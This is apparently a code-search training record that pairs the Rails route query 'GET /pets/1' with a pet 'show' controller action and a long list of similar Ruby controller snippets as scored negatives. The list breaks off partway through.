query
stringlengths 7
9.55k
| document
stringlengths 10
363k
| metadata
dict | negatives
sequencelengths 0
101
| negative_scores
sequencelengths 0
101
| document_score
stringlengths 3
10
| document_rank
stringclasses 102
values |
---|---|---|---|---|---|---|
GET /pets GET /pets.json | def index
@client = Client.find params[:client_id]
@pets = @client.pets
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def index\n @pets = Pet.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @pets }\n end\n end",
"def show\n @pet = Pet.find_by(id: params[:id])\n if @pet\n render json: @pet\n else\n render json: {}, status: 404\n end\n end",
"def show\n @pet = Pet.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @pet }\n end\n end",
"def show\n @pet = Pet.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @pet }\n end\n end",
"def show\n render json: @pet\n end",
"def index\n pets = pets_from_query\n\n respond_to do |format|\n format.html do\n @pets = pets.paginate(page: params[:page], per_page: 10)\n end\n format.json do\n @pets = pets\n end\n end\n end",
"def show\n @species = Specie.find(params[:id])\n\n @pets = Pet.where(:specie_id => @species).all\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: {:secie => @species, :pets => @pets } }\n end\n end",
"def show\n @petdetail = Petdetail.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @petdetail }\n end\n end",
"def index\n @pets = Pet.all\n # @users= Pet.user.all\n render json: @pets, each_serializer: PetSerializer\n \n end",
"def show\n @lost_pet = LostPet.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @lost_pet }\n end\n end",
"def show\n pet = BattlePet.find(params[:id])\n render json: pet, status: :ok\n end",
"def show\n\n if !params[:id].nil?\n pet = Pet.find_by_id(params[:id])\n if pet\n render json: pet, include: :user, status: :ok\n else\n render json: {message: 'Pet doesn\\'t exist'}, status: :bad_request\n end\n else\n render json: {message: 'There was an error getting pet detail, please try it again'}, status: :bad_request\n end\n end",
"def index\n response = HTTParty.get('http://okta-api:8080/pets/v1/cats', {headers: {\"X-Token\"=> session[:oktastate][:credentials][:token]}})\n if response.code == 200\n @cats = JSON.parse(response.body)\n else\n @cats = []\n end\n end",
"def index\n @pets = Pet.all\n end",
"def index\n @pets = Pet.all\n end",
"def show\n @pet = Pet.find(params[:id])\n end",
"def index\n if !params[:email].nil?\n user = User.find_by_email(params[:email])\n if user\n render json: user.pets, status: :ok\n else\n render json: {message: '**There was an error getting pets, please try it again'}, status: :bad_request\n end\n else\n render json: {message: '!!There was an error getting pets, please try it again'}, status: :bad_request\n end\n end",
"def show\n # load all that users pets\n @pets = @user.pets.page(params[:page]).per(3)\n end",
"def index\n if user_signed_in?\n @user = current_user\n @pets = current_user.pets.reverse\n else\n redirect_to root_path \n return\n end\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @pets }\n end\n end",
"def show\n respond_to do | format |\n format.html #show.html.erb\n format.json { render json: @pet_breed }\n end\n end",
"def show\n @team = Team.find(params[:id])\n @team_pets = @team.pets\n if @team_pets.length > 0\n @pets = current_user.pets.where('id not in (?)', @team_pets)\n else\n @pets = current_user.pets\n end\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @team }\n end\n end",
"def show\n @pet = Pet.find_by id: params[:id]\n end",
"def destroy\n pet = @user.pets.find(params[:id])\n pet.destroy\n render json: pet\n end",
"def index\n @pets = current_user.pets.all\n end",
"def index\n @pugs = Pug.all\n\n render json: @pugs\n end",
"def pets\n @pets\n end",
"def show\n #@pet = Pet.find(params[:id])\n @pet = Pet.includes(:petphotos).find(params[:id])\n\n if (@pet.petphotos.length > 0)\n logger.debug(\"image = \" + @pet.petphotos[0].image)\n end \n\n respond_to do |format|\n format.html # show.html.erb\n #format.json { render json: @pet }\n format.json { render json: {:pet => @pet, :petphoto => @pet.petphotos[0] } }\n end\n end",
"def find_pets_by_tags_with_http_info(tags, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: PetApi.find_pets_by_tags ...'\n end\n # verify the required parameter 'tags' is set\n if @api_client.config.client_side_validation && tags.nil?\n fail ArgumentError, \"Missing the required parameter 'tags' when calling PetApi.find_pets_by_tags\"\n end\n # resource path\n local_var_path = '/pet/findByTags'\n\n # query parameters\n query_params = opts[:query_params] || {}\n query_params[:'tags'] = @api_client.build_collection_param(tags, :csv)\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/xml', 'application/json'])\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:debug_body]\n\n # return_type\n return_type = opts[:debug_return_type] || 'Array<Pet>'\n\n # auth_names\n auth_names = opts[:debug_auth_names] || ['petstore_auth']\n\n new_options = opts.merge(\n :operation => :\"PetApi.find_pets_by_tags\",\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:GET, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: PetApi#find_pets_by_tags\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def pets\n\t\t@pets_list\n\tend",
"def show\n @love = Love.find(params[:id])\n render json: @love\n end",
"def show\n @pet = Pet.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @pet }\n end\n end",
"def shelter_pets(options = {})\n defaults = {'id' => 1}\n options = defaults.merge(options)\n \n @petfinder.shelter_pets(options['id'], options)\n end",
"def index\n @loves = Love.all\n render json: @loves\n end",
"def new\n @user = current_user\n @pet = @user.pets.build\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @pet }\n end\n end",
"def index\n @title = 'Mascotas'\n @pets = Pet.where(adpted: 'f').page(params[:page]).per(3)\n end",
"def index\n @pets = []\n if current_user.role.name != 'cliente'\n @pets = Pet.all\n else\n if !current_user.nil?\n id = current_user.data_id\n if !id.nil?\n @client = Client.find(id)\n @pets = @client.pets\n end\n end\n end\n end",
"def show\n @tags_of_novel = TagsOfNovel.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @tags_of_novel }\n end\n end",
"def show\n render json: @dog\n end",
"def index\n @diets = @profile.diets\n respond_with @diets\n end",
"def show\n @competent = Competent.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @competent }\n end\n end",
"def get_dogs\n user_dog = User.find(params[:id]).dog\n if user_dog\n render json: user_dog.to_json(include: :dog_photos)\n else\n render json: []\n end\n end",
"def show\n @client = Client.find params[:client_id]\n @pet = Pet.find params[:pet_id]\n end",
"def show\n @trumpet = Trumpet.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @trumpet }\n end\n end",
"def index\n # byebug\n @user_resources = current_user.user_detail.pets\n @resources = @user_resources.page(params[:page]).per(10)\n super\n end",
"def index\n pet_type = PetType.find(params[:pet_type_id])\n @pet_breeds = pet_type.pet_breeds.select { | match | match.published }\n\n respond_to do | format |\n format.html #index.html.erb\n format.json { render json: @pet_breeds }\n end\n end",
"def new\n @lost_pet = LostPet.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @lost_pet }\n end\n end",
"def index\n @pet_items = PetItem.all\n end",
"def index\n @postulation_pets = PostulationPet.all\n end",
"def show\n dog = Dog.find(params[:id])\n render json: dog\n end",
"def show\n render json: @diet, status: 200, root: true\n end",
"def show\n @pocket = Pocket.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @pocket }\n end\n end",
"def index\n @varieties = Variety.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @varieties }\n end\n end",
"def show\n @vet = Vet.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @vet }\n end\n end",
"def index\n @parishes = Parish.all\n\n render json: @parishes\n end",
"def index # public\n if params[:shelter_id]\n set_shelter\n render json: @shelter.animals\n else\n @animals = Animal.includes(:shelter).all\n render 'index.json.jbuilder'\n end\n end",
"def busca_por_pet_id(pet_id) \n uri = \"#{ENV['BASE_URI']}/pet/#{pet_id}\"\n \n without_authentication('get', uri)\n end",
"def index\n @peticions = Peticion.all\n end",
"def show\n @petition = Petition.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @petition }\n end\n end",
"def show\n render json: @pizza\n end",
"def index\n @pots = Pot.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @pots }\n end\n end",
"def index\n @question_pets = QuestionPet.all\n end",
"def index\n @petprofiles = Petprofile.all\n end",
"def index\n @peticion_servicio_tis = Peticion::ServicioTi.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @peticion_servicio_tis }\n end\n end",
"def show\n @Love = Love.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @Love }\n end\n end",
"def index\n @dogs = Dog.all\n render json: @dogs, each_serializer: DogSerializer, root: 'dogs'\n end",
"def index\n @adopted_pets = AdoptedPet.all\n end",
"def index\n @adopted_pets = AdoptedPet.all\n end",
"def index\n @client = Client.find params[:client_id]\n @pet = Pet.find params[:pet_id]\n @pet_histories = @pet.pet_histories\n end",
"def index\n @typeofpets = Typeofpet.all\n end",
"def show\n @client = Client.find(params[:id])\n @pets = @client.pets\n @json = @client.to_gmaps4rails\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @client }\n end\n end",
"def index\n @pets = Pet.all\n # render 'index' => where render is a method call and 'index' is an argument\n # rails will implicitly try to render a view template with the same name as the action\n end",
"def pet_types\r\n BnetApi::make_request('/wow/data/pet/types')\r\n end",
"def index\n @plants = Plant.all\n\n respond_to do |format|\n format.html\n format.json { render :json => @plants }\n end\n end",
"def index\n @parks = Park.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @parks }\n end\n end",
"def create\n @pet = @person.pets.build(pet_params)\n\n respond_to do |format|\n if @pet.save\n format.html { redirect_to person_path(@person), notice: 'Pet was successfully created.' }\n format.json { render :show, status: :created, location: @person }\n else\n format.html { render :new }\n format.json { render json: @pet.errors, status: :unprocessable_entity }\n end\n end\n end",
"def index\n @papels = Papel.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @papels }\n end\n end",
"def index\n @line_pets = LinePet.all\n end",
"def index\n @pets = Pet.all\n #@pets = Pet.order(\"created_at DESC\").page(params[:page]).per(10)\n @pet = Pet.new\n end",
"def destroy\n @pet = Pet.find(params[:id])\n @pet.destroy\n\n respond_to do |format|\n format.html { redirect_to pets_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @pet = Pet.find(params[:id])\n @pet.destroy\n\n respond_to do |format|\n format.html { redirect_to pets_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @pet = Pet.find(params[:id])\n @pet.destroy\n\n respond_to do |format|\n format.html { redirect_to pets_url }\n format.json { head :no_content }\n end\n end",
"def show\n @pictures_of_cat = PicturesOfCat.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @pictures_of_cat }\n end\n end",
"def get_pet_by_id_with_http_info(pet_id, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: PetApi.get_pet_by_id ...'\n end\n # verify the required parameter 'pet_id' is set\n if @api_client.config.client_side_validation && pet_id.nil?\n fail ArgumentError, \"Missing the required parameter 'pet_id' when calling PetApi.get_pet_by_id\"\n end\n # resource path\n local_var_path = '/pet/{petId}'.sub('{' + 'petId' + '}', CGI.escape(pet_id.to_s).gsub('%2F', '/'))\n\n # query parameters\n query_params = opts[:query_params] || {}\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/xml', 'application/json'])\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:debug_body]\n\n # return_type\n return_type = opts[:debug_return_type] || 'Pet'\n\n # auth_names\n auth_names = opts[:debug_auth_names] || ['api_key']\n\n new_options = opts.merge(\n :operation => :\"PetApi.get_pet_by_id\",\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:GET, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: PetApi#get_pet_by_id\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def index\n @pictures = Picture.where(foodscape_id: params[:foodscape_id])\n render json: @pictures\n end",
"def index\n @competencies = Competency.all\n respond_to do |format|\n format.json { render json: @competencies }\n end\n end",
"def index\n\t\tall_people = Person.all.sort_by(&:id)\n\t\tif all_people\n\t\t\trender json: {people: all_people}\n\t\telse\n\t\t\trender body: 'People Not Found', status: 404\n\t\tend\n\tend",
"def index\n @dogs = Dog.all\n # render erb: 'dogs/index'\n render json: @dogs\n end",
"def show\n @species = Species.find(params[:id]) \n @pets = Pet.paginate(:conditions => ['species_id = ?', @species.id], :order => \"regid ASC\", :per_page => 50, :page => params[:page])\n \n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @ets }\n end\n end",
"def show\n @pet_status = PetStatus.find(params[:id])\n\n end",
"def demo\n render json: Cat.all\n end",
"def create\n pet_response = pet_create_service.call(pet_params)\n lost_pet_match_service.call(pet_response)\n\n @pet = pet_response\n\n respond_to do |format|\n if pet_response.success?\n format.html { redirect_to pet_response, notice: I18n.t(\"pets.show.created\") }\n format.json { render :show, status: :created, location: pet_response }\n else\n format.html { render :new }\n format.json { render json: pet_response.errors, status: :unprocessable_entity }\n end\n end\n end",
"def show\n render json: @pug\n end",
"def show\n @petition = Petition.friendly.find(params[:id])\n\n render json: @petition\n end",
"def index\n @peds = Ped.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @peds }\n end\n end",
"def find_pet_by_name(pets, pet_name)\n for pet in pets[:pets]\n if pet[:name] == pet_name\n return pet\n end\n end\n return nil\nend",
"def get_tags_by_url\n url = Url.find_by(id: params[:id])\n tags = url.tags\n render json: {code: 200, tags: tags}\n end",
"def show\n @variety = Variety.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @variety }\n end\n end",
"def index\n @pizzas = Pizza.all\n render json: @pizzas\n end",
"def index\n @pets = Pet.all\n @missing = Pet.find :all, :conditions => {:missing => true}\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @pets }\n end\n end",
"def index\n @shelter = Shelter.first\n @pets = Pet.get_available_pets.order(:pet_type)\n if (!@cart)\n set_cart\n end\n @selectedPets = @cart.selected_pets\n end"
] | [
"0.7532614",
"0.74807626",
"0.7442378",
"0.7442378",
"0.73665094",
"0.72322184",
"0.71107155",
"0.6978894",
"0.69401866",
"0.68483084",
"0.6835015",
"0.67964625",
"0.6686958",
"0.6652686",
"0.6652686",
"0.6601181",
"0.659029",
"0.6583978",
"0.6523635",
"0.6477457",
"0.6458241",
"0.6452205",
"0.6437151",
"0.6241282",
"0.6227643",
"0.6227418",
"0.6204973",
"0.61873794",
"0.61770207",
"0.6169044",
"0.61542183",
"0.6126909",
"0.6123465",
"0.61046016",
"0.60929286",
"0.608543",
"0.6058095",
"0.6053489",
"0.60391283",
"0.60360163",
"0.60161585",
"0.6005579",
"0.597826",
"0.5968248",
"0.59615535",
"0.5959833",
"0.59432447",
"0.5930755",
"0.59284663",
"0.59255517",
"0.59221315",
"0.59172684",
"0.5909501",
"0.58943033",
"0.58884656",
"0.5873309",
"0.5872579",
"0.58667696",
"0.58602744",
"0.5858602",
"0.5847257",
"0.5845465",
"0.5841011",
"0.58403176",
"0.5836393",
"0.58241296",
"0.58241296",
"0.5823122",
"0.5819443",
"0.581382",
"0.580884",
"0.5805062",
"0.5804861",
"0.580094",
"0.5799457",
"0.5798962",
"0.5788348",
"0.5787887",
"0.5766348",
"0.5766348",
"0.5766348",
"0.57598245",
"0.57520473",
"0.57393646",
"0.5735849",
"0.5734746",
"0.57313585",
"0.57267743",
"0.5723078",
"0.57219154",
"0.57185733",
"0.57143664",
"0.5710809",
"0.5682017",
"0.56711936",
"0.5670819",
"0.5661929",
"0.56408113",
"0.5636085",
"0.5635725"
] | 0.6696298 | 12 |
GET /pets/1 GET /pets/1.json | def show
@client = Client.find params[:client_id]
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def show\n @pet = Pet.find_by(id: params[:id])\n if @pet\n render json: @pet\n else\n render json: {}, status: 404\n end\n end",
"def show\n @pet = Pet.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @pet }\n end\n end",
"def show\n @pet = Pet.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @pet }\n end\n end",
"def index\n @pets = Pet.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @pets }\n end\n end",
"def show\n render json: @pet\n end",
"def show\n @petdetail = Petdetail.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @petdetail }\n end\n end",
"def index\n pets = pets_from_query\n\n respond_to do |format|\n format.html do\n @pets = pets.paginate(page: params[:page], per_page: 10)\n end\n format.json do\n @pets = pets\n end\n end\n end",
"def show\n @species = Specie.find(params[:id])\n\n @pets = Pet.where(:specie_id => @species).all\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: {:secie => @species, :pets => @pets } }\n end\n end",
"def show\n pet = BattlePet.find(params[:id])\n render json: pet, status: :ok\n end",
"def show\n @lost_pet = LostPet.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @lost_pet }\n end\n end",
"def index\n @client = Client.find params[:client_id]\n @pets = @client.pets\n end",
"def show\n\n if !params[:id].nil?\n pet = Pet.find_by_id(params[:id])\n if pet\n render json: pet, include: :user, status: :ok\n else\n render json: {message: 'Pet doesn\\'t exist'}, status: :bad_request\n end\n else\n render json: {message: 'There was an error getting pet detail, please try it again'}, status: :bad_request\n end\n end",
"def show\n @pet = Pet.find(params[:id])\n end",
"def index\n @pets = Pet.all\n # @users= Pet.user.all\n render json: @pets, each_serializer: PetSerializer\n \n end",
"def show\n @pet = Pet.find_by id: params[:id]\n end",
"def show\n # load all that users pets\n @pets = @user.pets.page(params[:page]).per(3)\n end",
"def index\n @pets = Pet.all\n end",
"def index\n @pets = Pet.all\n end",
"def index\n response = HTTParty.get('http://okta-api:8080/pets/v1/cats', {headers: {\"X-Token\"=> session[:oktastate][:credentials][:token]}})\n if response.code == 200\n @cats = JSON.parse(response.body)\n else\n @cats = []\n end\n end",
"def show\n respond_to do | format |\n format.html #show.html.erb\n format.json { render json: @pet_breed }\n end\n end",
"def show\n #@pet = Pet.find(params[:id])\n @pet = Pet.includes(:petphotos).find(params[:id])\n\n if (@pet.petphotos.length > 0)\n logger.debug(\"image = \" + @pet.petphotos[0].image)\n end \n\n respond_to do |format|\n format.html # show.html.erb\n #format.json { render json: @pet }\n format.json { render json: {:pet => @pet, :petphoto => @pet.petphotos[0] } }\n end\n end",
"def show\n @love = Love.find(params[:id])\n render json: @love\n end",
"def destroy\n pet = @user.pets.find(params[:id])\n pet.destroy\n render json: pet\n end",
"def show\n @pet = Pet.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @pet }\n end\n end",
"def index\n if user_signed_in?\n @user = current_user\n @pets = current_user.pets.reverse\n else\n redirect_to root_path \n return\n end\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @pets }\n end\n end",
"def index\n if !params[:email].nil?\n user = User.find_by_email(params[:email])\n if user\n render json: user.pets, status: :ok\n else\n render json: {message: '**There was an error getting pets, please try it again'}, status: :bad_request\n end\n else\n render json: {message: '!!There was an error getting pets, please try it again'}, status: :bad_request\n end\n end",
"def show\n @client = Client.find params[:client_id]\n @pet = Pet.find params[:pet_id]\n end",
"def show\n dog = Dog.find(params[:id])\n render json: dog\n end",
"def show\n @trumpet = Trumpet.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @trumpet }\n end\n end",
"def show\n @team = Team.find(params[:id])\n @team_pets = @team.pets\n if @team_pets.length > 0\n @pets = current_user.pets.where('id not in (?)', @team_pets)\n else\n @pets = current_user.pets\n end\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @team }\n end\n end",
"def show\n @competent = Competent.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @competent }\n end\n end",
"def show\n @vet = Vet.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @vet }\n end\n end",
"def show\n @petition = Petition.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @petition }\n end\n end",
"def show\n @Love = Love.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @Love }\n end\n end",
"def index\n @pugs = Pug.all\n\n render json: @pugs\n end",
"def show\n @pocket = Pocket.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @pocket }\n end\n end",
"def show\n render json: @dog\n end",
"def index\n @client = Client.find params[:client_id]\n @pet = Pet.find params[:pet_id]\n @pet_histories = @pet.pet_histories\n end",
"def show\n @tags_of_novel = TagsOfNovel.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @tags_of_novel }\n end\n end",
"def show\n @pet_status = PetStatus.find(params[:id])\n\n end",
"def index\n @loves = Love.all\n render json: @loves\n end",
"def new\n @user = current_user\n @pet = @user.pets.build\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @pet }\n end\n end",
"def new\n @lost_pet = LostPet.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @lost_pet }\n end\n end",
"def show\n render json: @diet, status: 200, root: true\n end",
"def index\n @diets = @profile.diets\n respond_with @diets\n end",
"def show\n @moose = Moose.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @moose }\n end\n end",
"def show\n @variety = Variety.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @variety }\n end\n end",
"def index # public\n if params[:shelter_id]\n set_shelter\n render json: @shelter.animals\n else\n @animals = Animal.includes(:shelter).all\n render 'index.json.jbuilder'\n end\n end",
"def show\n animal_id = params[:id]\n # Find that animal (by id) in the database\n @animal = Animal.find(animal_id)\n \n #Give back JSON details of that animal\n render json: @animal\n end",
"def show\n @pony = Pony.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @pony }\n end\n end",
"def show\n @petition = Petition.friendly.find(params[:id])\n\n render json: @petition\n end",
"def show\n recipe = Recipe.find(params[:id])\n # recipes = Recipe.find_by(params[:id])\n # render json: recipe\n render json: recipe\n end",
"def index\n @varieties = Variety.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @varieties }\n end\n end",
"def index\n if params[:single]\n\t url = \"#{API_BASE_URL}/photos/#{params[:id]}.json?token=#{ENV['API_KEY']}\"\n\t response = RestClient.get(url)\n\t @photo = JSON.parse(response.body)\n\telse\n\t url = \"#{API_BASE_URL}/photos.json?token=#{ENV['API_KEY']}\"\n response = RestClient.get(url)\n @photos = JSON.parse(response.body)\t\t \n\tend\n end",
"def show\n @peso = Peso.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @peso }\n end\n end",
"def get_random_pokemon(number)\n uri = URI(\"https://pokeapi.co/api/v2/pokemon/#{number}\")\n res = Net::HTTP.get_response(uri)\n JSON.parse(res.body)\nend",
"def index\n @pets = current_user.pets.all\n end",
"def show\n render json: @pizza\n end",
"def show\n @pictures_of_cat = PicturesOfCat.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @pictures_of_cat }\n end\n end",
"def client_choose(offset = 10, limit = 20)\n response = Net::HTTP.get(\n URI(\"https://pokeapi.co/api/v2/pokemon/?offset=#{offset}&limit=#{limit}\")\n )\n \n JSON.parse(response)\nend",
"def index\n @pets = []\n if current_user.role.name != 'cliente'\n @pets = Pet.all\n else\n if !current_user.nil?\n id = current_user.data_id\n if !id.nil?\n @client = Client.find(id)\n @pets = @client.pets\n end\n end\n end\n end",
"def show\n @competency = Competency.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @competency }\n end\n end",
"def get_pet_by_id_with_http_info(pet_id, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: PetApi.get_pet_by_id ...'\n end\n # verify the required parameter 'pet_id' is set\n if @api_client.config.client_side_validation && pet_id.nil?\n fail ArgumentError, \"Missing the required parameter 'pet_id' when calling PetApi.get_pet_by_id\"\n end\n # resource path\n local_var_path = '/pet/{petId}'.sub('{' + 'petId' + '}', CGI.escape(pet_id.to_s).gsub('%2F', '/'))\n\n # query parameters\n query_params = opts[:query_params] || {}\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/xml', 'application/json'])\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:debug_body]\n\n # return_type\n return_type = opts[:debug_return_type] || 'Pet'\n\n # auth_names\n auth_names = opts[:debug_auth_names] || ['api_key']\n\n new_options = opts.merge(\n :operation => :\"PetApi.get_pet_by_id\",\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:GET, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: PetApi#get_pet_by_id\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def show\n @food = Food.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @food }\n end\n end",
"def show\n\n @food = Food.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @food }\n end\n end",
"def index\n @title = 'Mascotas'\n @pets = Pet.where(adpted: 'f').page(params[:page]).per(3)\n end",
"def shelter_pets(options = {})\n defaults = {'id' => 1}\n options = defaults.merge(options)\n \n @petfinder.shelter_pets(options['id'], options)\n end",
"def show\n @person = Person.find(params[:id])\n\n respond_to do |format|\n format.json { render :json => @person }\n end\n end",
"def show\n params.require(%i[id])\n render json: Beverage.find_by!(id: params[:id])\n end",
"def index\n @plants = Plant.all\n\n respond_to do |format|\n format.html\n format.json { render :json => @plants }\n end\n end",
"def index\n pet_type = PetType.find(params[:pet_type_id])\n @pet_breeds = pet_type.pet_breeds.select { | match | match.published }\n\n respond_to do | format |\n format.html #index.html.erb\n format.json { render json: @pet_breeds }\n end\n end",
"def busca_por_pet_id(pet_id) \n uri = \"#{ENV['BASE_URI']}/pet/#{pet_id}\"\n \n without_authentication('get', uri)\n end",
"def show\n @pot = Pot.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @pot }\n end\n end",
"def show\n @vegetable = Vegetable.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @vegetable }\n end\n end",
"def show\n @dog = Dog::Dog.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @dog }\n end\n end",
"def index\n @pets = Pet.all\n #@pets = Pet.order(\"created_at DESC\").page(params[:page]).per(10)\n @pet = Pet.new\n end",
"def show\n @client = Client.find(params[:id])\n @pets = @client.pets\n @json = @client.to_gmaps4rails\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @client }\n end\n end",
"def index\n @dogs = Dog.all\n render json: @dogs, each_serializer: DogSerializer, root: 'dogs'\n end",
"def show \n bird = Bird.find(params[:id])\n if bird \n render json: bird.slice(:id, :name, :species)\n else \n render json: {message: \"Bird not found\"}\n end\n # {id: bird.id, name: bird.name, species: bird.species}\n end",
"def pets\n\t\t@pets_list\n\tend",
"def index\n @pet_items = PetItem.all\n end",
"def show\n @cat = Cat.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @cat }\n end\n end",
"def index\n recipes = Recipe.all\n render status: :ok, json: recipes\n end",
"def show\n @species = Species.find(params[:id]) \n @pets = Pet.paginate(:conditions => ['species_id = ?', @species.id], :order => \"regid ASC\", :per_page => 50, :page => params[:page])\n \n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @ets }\n end\n end",
"def pets\n @pets\n end",
"def index\n @pots = Pot.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @pots }\n end\n end",
"def index_single_gift\n render json: @gift, include: :ages, status: :ok\n end",
"def show\n @cvi = Cvi.find(params[:id])\n @animals = @cvi.animals\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @cvi }\n end\n end",
"def show\n @pic = Pic.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @pic }\n end\n end",
"def person(id)\n get(\"/catalog/people/#{id.to_s}\")\n end",
"def index\n @papels = Papel.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @papels }\n end\n end",
"def destroy\n @pet = Pet.find(params[:id])\n @pet.destroy\n\n respond_to do |format|\n format.html { redirect_to pets_url }\n format.json { head :no_content }\n end\n end",
